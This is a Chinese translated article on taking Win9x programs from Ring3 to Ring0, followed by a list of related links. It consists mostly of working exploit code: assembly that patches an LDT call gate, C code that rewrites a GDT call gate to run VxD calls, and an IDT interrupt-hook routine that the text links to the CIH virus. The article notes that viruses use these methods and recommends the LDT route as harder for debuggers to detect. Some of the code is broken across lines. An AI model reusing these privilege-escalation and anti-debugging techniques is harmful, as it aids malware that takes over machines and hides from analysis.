win9x下ring0的實現(翻譯自www.anticracking.sk) (16千字)
--------------------------------------------------------------------------------
談談Ring0的實現
--------------------------------------------------------------------------------
處理器有4個級的優先權:Ring0,Ring1,Ring2,Ring3.
大多數程式執行於Ring3這個級別。Ring3有很多限制,
如: 我們不能讀DR(debug-registers,除錯暫存器),所有關於 DR的指令都不起作用。(如:mov eax,dr7).
對我們來說當然是優先順序越高越好,所以我們要使我們的 程式執行在Ring0.但是隻有少數的特殊的程式有Ring0的優先權。
裝置驅動程式執行於Ring0,但它的程式碼可不簡單!
所幸,Windows有很多漏洞,特別是Win9X。有很多方法可以將 程式的優先順序從Ring3變成Ring0.
這些方法被很多病毒所用, 當然,我們還有更多,更好的用途!
這些方法只適用於Win9X,不適用WinNT。因為WinNT是駭客的主要攻擊物件,它的漏洞都添的差不多了。
可以在程式中加入程式碼 先判斷作業系統是否Win9X,若是就可以用了。
如果一定要在 WinNT或Win2K下用Ring0,就要編寫裝置驅動了。
如果你是admin(管理員)級別的使用者,那還有別的方法,但前提是你必須有admin的級別。
對一般使用者來說這是個好訊息,因為Win下的病毒沒那麼好編, 那些病毒作者就要費老勁了!
--------------------------------------------------------------------------------
Part I
下面介紹一下改變優先權至Ring0的方法用LDT(Locale Descriptor Table):
這個古老的方法極少被用。這不是最好的方法,但至少比用IDT 好,原因嘛?因為它鮮為人知。 下面是程式範例:
--------------------------------------------------------------------------------
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc
Extrn SetUnhandledExceptionFilter : PROC
.data
msg1
db "Switch to Ring0 by LDT",0
msg2
db "Ring0 activated",0
gdt_
df 0
call_
dd 00
dw 0Fh
o_gate
.code
dw 0
dw 028h ;segment for RING0
dw 0EC00h
dw 0
Start:
mov eax, offset ring0
;our Ring0 routine
mov [o_gate],ax ;set address of our new Ring0 service to our "callgate" shr
eax,16
mov [o_gate+6],ax
xor eax, eax
sgdt fword ptr gdt_
;save GDT mov ebx,dword ptr [gdt_+2] ;GDT base address
sldt
ax
add
ebx,eax
;discriptor address
mov
al,[ebx+4]
mov
ah,[ebx+7]
shl
eax,16
;LDT address
mov ax,[ebx+2] ;callgate's discriptor address
add eax,8
mov edi,eax
;set in callgate for changes
mov esi,offset
o_gate
;our "callgate" address
movsd
;move it to real callgate
movsd
;for jump to Ring0
call fword ptr [call_]
;jump to Ring0 to our Ring0 service
xor eax, eax
sub edi,8
stosd
stosd
;delete our changes in callgate
call MessageBoxA,0, offset msg2, offset msg1,0
call ExitProcess, -1
--------------------------------------------------------------------------------
;Our new Ring0 service
--------------------------------------------------------------------------------
ring0:
mov eax, dr7 ;test for Ring0
retf ;back to RING3
ends
end Start
--------------------------------------------------------------------------------
Part II
下面是我在網上找到的例子,是Sopinky用C寫的。
Example:
--------------------------------------------------------------------------------
Main.CPP
--------------------------------------------------------------------------------
#include <WINDOWS.h>
#include "DirectHackers.h"
//it is a example of a proc in Ring 0
Ring0Proc()
{
InitRing0();
__asm
{
int 20h
//get current vm
_emit 0x01
//Function ID
_emit 0x00
_emit VMM_ID
//VXD ID
_emit 0x00
//in ebx i
have the handle
//of virtual
machine
}
RetCallback;
};
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, PSTR lpCmdLine,int
nCmdShow)
{
MSG msg ;
DWORD a;
int x;
__asm pusha
InitDirectH();
CallRing0((unsigned int)Ring0Proc);
__asm popa
return 0;
}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DirectHackers.h
--------------------------------------------------------------------------------
#ifndef __DirectHackers_h
#define __DirectHackers_h
#include "VMMStruct.h"
//Data
DWORD VM=0,TR=0;
Control_Block *VMCBSystem=0,*VMCB=0;
DWORD esp3;
WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register
WORD cs0,ds0,es0,fs0,gs0; //State of ring 0 register
Comp *Callb,Callbcpy; //a callbacks
//to return of ring 0
#define RetCallback \
_asm sti \
_asm pop edi \
_asm pop esi \
_asm pop ebx \
_asm leave \
_asm retf;
InitDirectH()
{
FPWORD gdt; //Base of GDT
Descriptor *gdtdesc;
word a;
__asm sgdt gdt; //get the addres of GDT
gdtdesc=(Descriptor *)gdt.base;
__asm //Save the ring 3 Segments selectors
{
mov cs3,cs
mov ds3,ds
mov es3,es
mov sp3,sp
mov fs3,fs
mov gs3,gs
mov esp3,esp
}
//Serch for the adecuate CS
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
gdtdesc->base_l==0x0000 &&
gdtdesc->base_m==0x00 &&
gdtdesc->access==0x9b &&
gdtdesc->limit_h== 0xcf &&
gdtdesc->base_h==0x00)break;
}
cs0=a<<3;
//Serch for
the adecuate DS, ES, Etc
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
gdtdesc->base_l==0x0000 &&
gdtdesc->base_m==0x00 &&
gdtdesc->access==0x93 &&
gdtdesc->limit_h== 0xcf &&
gdtdesc->base_h==0x00)break;
}
ds0=a<<3;
es0=a<<3;
fs0=a<<3;
gs0=a<<3;
}
//Call a proc
and switch to ring 0
CallRing0(DWORD PUNTERO)
{
FPWORD gdt;
Descriptor *gdtdesc;
Comp *Callb,Callbcpy;
FARJMP salto;
WORD h,l;
salto.offset32=0;
salto.seg=0x08;
__asm sgdt gdt;
gdtdesc=(Descriptor *)(gdt.base+8);
Callb=(Comp *)(gdt.base+8);
Callbcpy.sel=Callb->sel; //make
a copy
Callbcpy.attrib=Callb->attrib;
Callbcpy.offs_l=Callb->offs_l;
Callbcpy.offs_h=Callb->offs_h;
Callb->sel=cs0;
Callb->attrib=0xec00;;
__asm
{
mov eax,PUNTERO
mov l,ax
shr eax,16
mov h,ax
}
Callb->offs_l=l;
Callb->offs_h=h;
__asm {
push ds
push es
push gs
push fs
}
//save the ring 3
segment selectors
__asm
//Call the CALL GATE!!!!
cli
{
call FWORD PTR
}
__asm
{
cli
pop fs
salto
//restore de segment selectors in ring 3
pop gs
pop es
pop ds
sti
}
return;
}
InitRing0()
{
FPWORD gdt;
Comp *Callb;
__asm sgdt gdt;
__asm cli
Callb=(Comp *)(gdt.base+8);
Callb->sel=Callbcpy.sel;
Callb->attrib=Callbcpy.attrib;
Callb->offs_l=Callbcpy.offs_l;
Callb->offs_h=Callbcpy.offs_h;
__asm
{
mov ds,ds0
mov es,es0
mov fs,fs0
mov gs,gs0
sti
//int 3h
int 20h
_emit 0x08
//get the thead handle
_emit 0x01
_emit VMM_ID
_emit 0x00
mov TR,edi
int 20h
_emit 0x01
//get current vm
_emit 0x00
_emit VMM_ID
_emit 0x00
mov VM,ebx
//current VM handle, osea de sistema
sti
}
}
#endif
------------------------------------****--------------------------------------
VMMStruct.h
------------------------------------****--------------------------------------
#ifndef __vmmstruct_h
#define __vmmstruct_h
//definitions
#define Get_Cur_VM_Handle 0x01
#define Get_VMM_Version 0x00
#define VMM_ID 0x01
#define VDD_ID 0x0a
#define VFD_ID 0x0011f;
#define VWIN32_ID 0x0002A
#define SHELL_ID 0x00017
#define word unsigned short
#define dword unsigned int
#define DWORD unsigned int
#define WORD unsigned short
#define byte unsigned char
#define BYTE unsigned char
//Structs
#pragma pack(1)
typedef struct
{
word limite;
dword base;
}FPWORD;
typedef struct
{
dword offset32;
word seg;
}FARJMP;
//struct of
descriptors
typedef struct
{
WORD limit_l;
WORD base_l;
BYTE base_m;
BYTE access;
BYTE limit_h;
BYTE base_h;
}Descriptor;
typedef struct
{
WORD desp_l;
WORD sel;
BYTE tipo_l;
BYTE tipo_h;
BYTE desp_h;
}Idt_Descriptor;
//compuertas
del 386
typedef struct
{
WORD offs_l;
WORD sel;
WORD attrib;
WORD offs_h;
}Comp;
//Description
Block
typedef struct {
ULONG DDB_Next;
/* VMM RESERVED FIELD */
USHORT DDB_SDK_Version;
/* INIT <DDK_VERSION> RESERVED FIELD */
USHORT DDB_Req_Device_Number; /* INIT <UNDEFINED_DEVICE_ID>
*/
UCHAR DDB_Dev_Major_Version; /* INIT
<0> Major device number */
UCHAR DDB_Dev_Minor_Version; /* INIT
<0> Minor device number */
USHORT DDB_Flags;
/* INIT <0> for init calls complete */
UCHAR DDB_Name[8];
/* AINIT <" "> Device name
*/
ULONG DDB_Init_Order;
/* INIT <UNDEFINED_INIT_ORDER> */
ULONG DDB_Control_Proc;
/* Offset of control procedure */
ULONG DDB_V86_API_Proc;
/* INIT <0> Offset of API procedure */
ULONG DDB_PM_API_Proc;
/* INIT <0> Offset of API procedure */
ULONG DDB_V86_API_CSIP;
/* INIT <0> CS:IP of API entry point */
ULONG DDB_PM_API_CSIP;
/* INIT <0> CS:IP of API entry point */
ULONG DDB_Reference_Data;
/* Reference data from real mode */
ULONG DDB_Service_Table_Ptr; /* INIT
<0> Pointer to service table */
ULONG DDB_Service_Table_Size; /* INIT <0>
Number of services */
ULONG DDB_Win32_Service_Table; /* INIT <0>
Pointer to Win32 services */
ULONG DDB_Prev;
/* INIT <'Prev'> Ptr to prev 4.0 DDB */
ULONG DDB_Size;
/* INIT <SIZE(VxD_Desc_Block)> Reserved */
ULONG DDB_Reserved1;
/* INIT <'Rsv1'> Reserved */
ULONG DDB_Reserved2;
/* INIT <'Rsv2'> Reserved */
ULONG DDB_Reserved3;
/* INIT <'Rsv3'> Reserved */
}Desc_Block;
//Control block
typedef struct {
ULONG Client_EDI;
/* Client's EDI */
ULONG Client_ESI;
/* Client's ESI */
ULONG Client_EBP;
/* Client's EBP */
ULONG Client_res0;
/* ESP at pushall */
ULONG Client_EBX;
/* Client's EBX */
ULONG Client_EDX;
/* Client's EDX */
ULONG Client_ECX;
/* Client's ECX */
ULONG Client_EAX;
/* Client's EAX */
ULONG Client_Error;
/* Dword error code */
ULONG Client_EIP;
/* EIP */
USHORT Client_CS;
/* CS */
USHORT Client_res1;
/* (padding) */
ULONG Client_EFlags;
/* EFLAGS */
ULONG Client_ESP;
/* ESP */
USHORT Client_SS;
/* SS */
USHORT Client_res2;
/* (padding) */
USHORT Client_ES;
/* ES */
USHORT Client_res3;
/* (padding) */
USHORT Client_DS;
/* DS */
USHORT Client_res4;
/* (padding) */
USHORT Client_FS;
/* FS */
USHORT Client_res5;
/* (padding) */
USHORT Client_GS;
/* GS */
USHORT Client_res6;
/* (padding) */
ULONG Client_Alt_EIP;
USHORT Client_Alt_CS;
USHORT Client_res7;
ULONG Client_Alt_EFlags;
ULONG Client_Alt_ESP;
USHORT Client_Alt_SS;
USHORT Client_res8;
USHORT Client_Alt_ES;
USHORT Client_res9;
USHORT Client_Alt_DS;
USHORT Client_res10;
USHORT Client_Alt_FS;
USHORT Client_res11;
USHORT Client_Alt_GS;
USHORT Client_res12;
}Client_Reg_Struc;
typedef struct Thread_Control_Block {
ULONG TCB_Flags;
/* Thread status flags */
ULONG TCB_Reserved1;
/* Used internally by VMM */
ULONG TCB_Reserved2;
/* Used internally by VMM */
ULONG TCB_Signature;
ULONG TCB_ClientPtr;
/* Client registers of thread */
ULONG TCB_VMHandle;
/* VM that thread is part of */
USHORT TCB_ThreadId;
/* Unique Thread ID */
USHORT TCB_PMLockOrigSS;
/* Original SS:ESP before lock stack */
ULONG TCB_PMLockOrigESP;
ULONG TCB_PMLockOrigEIP;
/* Original CS:EIP before lock stack */
ULONG TCB_PMLockStackCount;
USHORT TCB_PMLockOrigCS;
USHORT TCB_PMPSPSelector;
ULONG TCB_ThreadType;
/* dword passed to VMMCreateThread */
USHORT TCB_pad1;
/* reusable; for dword align */
UCHAR TCB_pad2;
/* reusable; for dword align */
UCHAR TCB_extErrLocus;
/* extended error Locus */
USHORT TCB_extErr;
/* extended error Code */
UCHAR TCB_extErrAction;
/* " " Action */
UCHAR TCB_extErrClass;
/* " " Class */
ULONG TCB_extErrPtr;
/* " pointer */
}Thread_Control_Block;
typedef struct
{
DWORD CB_VM_Status ;
DWORD CB_High_Linear ;
DWORD CB_Client_Pointer ;
DWORD CB_VMID ;
DWORD CB_Signature ;
}Control_Block;
#endif
--------------------------------------------------------------------------------
Part III
我想組合語言的例子會比C寫的更簡潔明瞭些!畢竟低層程式碼是彙編的拿手好戲。 下面介紹常用的用IDT(Interupt Descriptor Table)實現Ring0的方法
最早是ELICZ寫的,後來陳盈豪寫CIH也用到了。 這種方法是很常用的,但現在能被大多數的跟蹤程式(Frog-Ice,IceDump)檢測出來, 這就是我推薦LDT方法的原因,好了廢話少說,下面是程式碼。
Example:
--------------------------------------------------------------------------------
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc
Extrn SetUnhandledExceptionFilter : PROC
Interrupt
equ 5
;interrupt number which we will use
.DATA
;if you use Int 1h or 3h, it will be
;more harder debugg your program
msg1
db
"Switch to
Ring0 by IDT",0
msg2
db
"Ring0 activated",0
.CODE
Start:
push
edx
sidt
[esp-2]
;read IDT to stack
pop
edx
;address of Interrupt table
add
edx,(Interrupt*8)+4
;Interrupt table base+Int number+size for
;Int in Interrupt table=Int vector address
mov
ebx,[edx]
mov
bx,word ptr
[edx-4]
;read old address our interrupt (INT 5h)
lea
edi,InterruptHandler
mov
[edx-4],di
ror
edi,16
;set our new interrupt handler
mov
[edx+2],di
push
ds
;save registers
push
es
int
Interrupt
;jump to Ring0 (our int 5h handler)
pop
es
;restore registers
pop
ds
mov [edx-4],bx ;set old int 5h handler ror ebx,16
mov [edx+2],bx
call MessageBoxA,0, offset msg2, offset msg1,0 call ExitProcess, -1
;-----------------------------------------------------------------------------
;OUR NEW INT 5h HANDLER (it run in Ring0)
;-----------------------------------------------------------------------------
InterruptHandler:
mov eax,dr7
;test for Ring0
iretd
;jump back to Ring3
ends
end Start
--------------------------------------------------------------------------------
還有很多方法可以實現Ring0,我也不知道了。大家請自己學習吧。
相關文章
- 快速實現語音轉文字,還自帶翻譯2019-06-25
- 翻譯(1) (6千字)2000-07-22
- Vue | 指令實現自動翻譯填充英文名功能2021-05-23Vue
- IDL封裝百度翻譯API實現自動翻譯和語種識別2024-06-26封裝API
- [翻譯] 使用JavaScript實現自己的Promises2018-12-26JavaScriptPromise
- 蝴蝶書-task2: 文字推理、摘要、糾錯 transformers實現翻譯 OpenAI翻譯 PyDeepLX翻譯 DeepLpro翻譯2024-04-29ORMOpenAI
- .net core 和 WPF 開發升訊威線上客服系統:呼叫有道翻譯介面實現實時自動翻譯的方法2022-02-21
- 語音翻譯軟體怎麼用?怎麼實現語音的翻譯2019-08-20
- 16 Java NIO Files-翻譯2017-12-06Java
- 記一次翻譯工具的開發-有了它,實現實時翻譯還遠嗎?2020-10-10
- .net core 和 WPF 開發升訊威線上客服系統:呼叫百度翻譯介面實現實時自動翻譯2022-05-30
- 使用 FastGPT 實現最佳 AI 翻譯工作流:全世界最信達雅的翻譯2024-10-31ASTGPTAI
- 閒來翻譯改寫灌水:Ring0許可權的取得(part1:9X)2015-11-15
- 用python實現簡單的線上翻譯程式2020-09-23Python
- java 介面(翻譯自Java Tutorials)2012-12-04Java
- 吐槽下《MongoDB 實戰》(第二版)的翻譯2017-05-14MongoDB
- Go 語言實現解析器翻譯2018-05-13Go
- 這一招可以讓pdf整篇自動翻譯,pdf翻譯的方法分享2019-08-12
- 教你如何利用C#呼叫百度翻譯API實現一個翻譯功能2021-07-13C#API
- 實用的Word文件翻譯方法分享,讓Word文件快速翻譯2019-08-12
- Java實現Web操作介面以及返回資料的翻譯2018-12-17JavaWeb
- 同學翻譯的一篇FlexLm文章 (9千字)2003-03-31Flex
- mac下的詞典翻譯快捷鍵2014-07-22Mac
- 如何用PaddlePaddle實現機器翻譯?2019-05-28
- Pyplot tutorial,Pyplot官方教程自翻譯2018-02-06
- Filecoin Spec 翻譯 —— 【1】概述(下)2020-03-21
- Yurii談翻譯(五)怎樣翻譯更地道:so…that…的翻譯2012-01-08
- 翻譯:TORN@DO's Cracking Tutorial for
(4千字)2001-02-10
- Yurii談翻譯(九)怎樣翻譯更地道:冠詞a的翻譯2012-01-09
- Yurii談翻譯(十)怎樣翻譯更地道:最高階的翻譯2012-01-09
- 給Android開發者的Flutter指南 (下) [翻譯]2019-08-20AndroidFlutter
- 翻譯的未來:翻譯機器和譯後編譯2013-06-13編譯
- Laravel 配合 puppeteer 實現操作瀏覽器(以谷歌翻譯為例,免費翻譯無限量文字)2020-02-18Laravel瀏覽器谷歌
- 微信翻譯大型翻車現場?機器翻譯到底有哪些不確定性2019-03-05
- SoftICE4.05 for win9x的安裝序列號破解(1) (11千字)2001-05-19
- 有道翻譯軟體下載地址2011-11-17
- Yurii談翻譯(六)怎樣翻譯更地道:“as somebody said…”的翻譯2012-01-08AI
- Yurii談翻譯(十三)怎樣翻譯更地道:It is…that…句型諺語的翻譯2012-01-09